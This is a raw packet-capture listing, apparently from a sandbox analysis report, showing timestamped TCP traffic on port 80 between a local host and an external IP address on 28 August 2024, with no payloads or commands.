Aug 28, 2024 22:55:58.440675974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.440681934 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.440687895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.440697908 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.440706015 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.440711021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.440721035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.440730095 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.440732956 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.440742970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.440753937 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.440757036 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.440773010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.440787077 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.440840006 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.440881014 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.440886021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.440896034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.440928936 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.440977097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.440994024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441005945 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441015005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441019058 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.441028118 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441040993 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.441066027 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.441085100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441128016 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.441154003 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441190958 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441220999 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.441232920 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.441239119 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441267014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441273928 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.441277981 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441310883 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.441387892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441399097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441409111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441420078 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441430092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441433907 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.441441059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441448927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.441453934 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441464901 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441468000 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.441478014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441488981 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441492081 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.441499949 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441519976 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.441531897 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.441556931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441567898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441576958 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441590071 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441596031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.441608906 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.441622019 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.441840887 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441852093 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441868067 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.441890955 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.441905975 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.525278091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525312901 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525325060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525336027 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525352955 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525363922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525373936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525393963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525405884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525417089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525428057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525444984 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525454998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525465965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525476933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525506973 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.525506973 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.525507927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.525507927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.525507927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.525558949 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.525603056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525664091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525674105 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525712013 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.525738955 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525749922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525758982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525787115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525790930 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.525799036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525803089 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.525819063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525830030 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.525837898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525849104 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525851011 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.525859118 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.525859118 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525882006 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.525893927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.525913000 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525928974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525940895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525949955 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.525963068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.525985003 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.526006937 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.526526928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.526580095 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.526604891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.526616096 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.526643038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.526652098 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.526654005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.526664972 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.526680946 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.526705027 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.526757956 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.526768923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.526778936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.526792049 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.526802063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.526807070 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.526814938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.526823044 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.526848078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.526858091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.526869059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.526870012 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.526880026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.526891947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.526894093 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.526902914 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.526909113 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.526916027 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.526931047 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.526954889 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.526957035 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.526967049 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.526978016 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.526989937 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527002096 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527005911 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527012110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527028084 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527043104 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527045012 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527055979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527065039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527070999 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527075052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527090073 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527117014 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527122974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527133942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527143955 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527153969 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527164936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527175903 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527177095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527189016 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527192116 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527201891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527210951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527213097 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527231932 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527254105 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527328014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527345896 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527357101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527367115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527374983 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527379990 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527390957 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527401924 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527407885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527411938 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527420044 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527431011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527440071 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527441978 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527452946 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527465105 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527466059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527483940 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527501106 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527503967 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527514935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527523994 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527534962 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527548075 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527565002 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527585030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527594090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527597904 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527614117 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527626038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527636051 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527641058 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527671099 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527800083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527832031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527843952 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527925014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527935028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527944088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527956963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527967930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527978897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.527985096 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.527990103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.528000116 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.528017998 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.528039932 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.528069973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.528119087 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.528130054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.528167963 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.528182030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.528192997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.528203011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.528214931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.528230906 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.528233051 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.528240919 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.528244972 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.528255939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.528266907 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.528280973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.528291941 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.528295040 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.528310061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.528316975 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.528326988 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.528337955 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.528341055 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.528351068 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.528358936 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.528377056 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.528398037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.528398037 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.528410912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.528420925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.528443098 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.528451920 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.528461933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.528465986 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.528471947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.528486967 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.528497934 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.528506041 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.528537989 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.612291098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612313986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612325907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612335920 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612351894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612368107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612380028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612390041 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612409115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612418890 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612428904 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612441063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612453938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612466097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612489939 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.612490892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.612490892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.612490892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.612490892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.612531900 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.612610102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612646103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612651110 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.612657070 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612692118 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.612728119 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612739086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612749100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612760067 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612771034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612773895 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.612792015 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.612806082 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.612883091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612900019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612911940 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612921953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612931967 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612941980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612946033 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.612953901 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.612960100 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.612986088 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.613284111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613326073 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.613338947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613369942 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.613437891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613454103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613465071 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613476992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613478899 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.613507986 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.613620043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613636971 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613646984 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613657951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613661051 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.613668919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613678932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613687992 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.613688946 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613699913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613713026 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.613733053 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.613740921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613750935 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.613751888 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613763094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613771915 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613785982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:58.613789082 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:58.613796949 CEST	80	49731	147.45.68.138	192.168.2.7
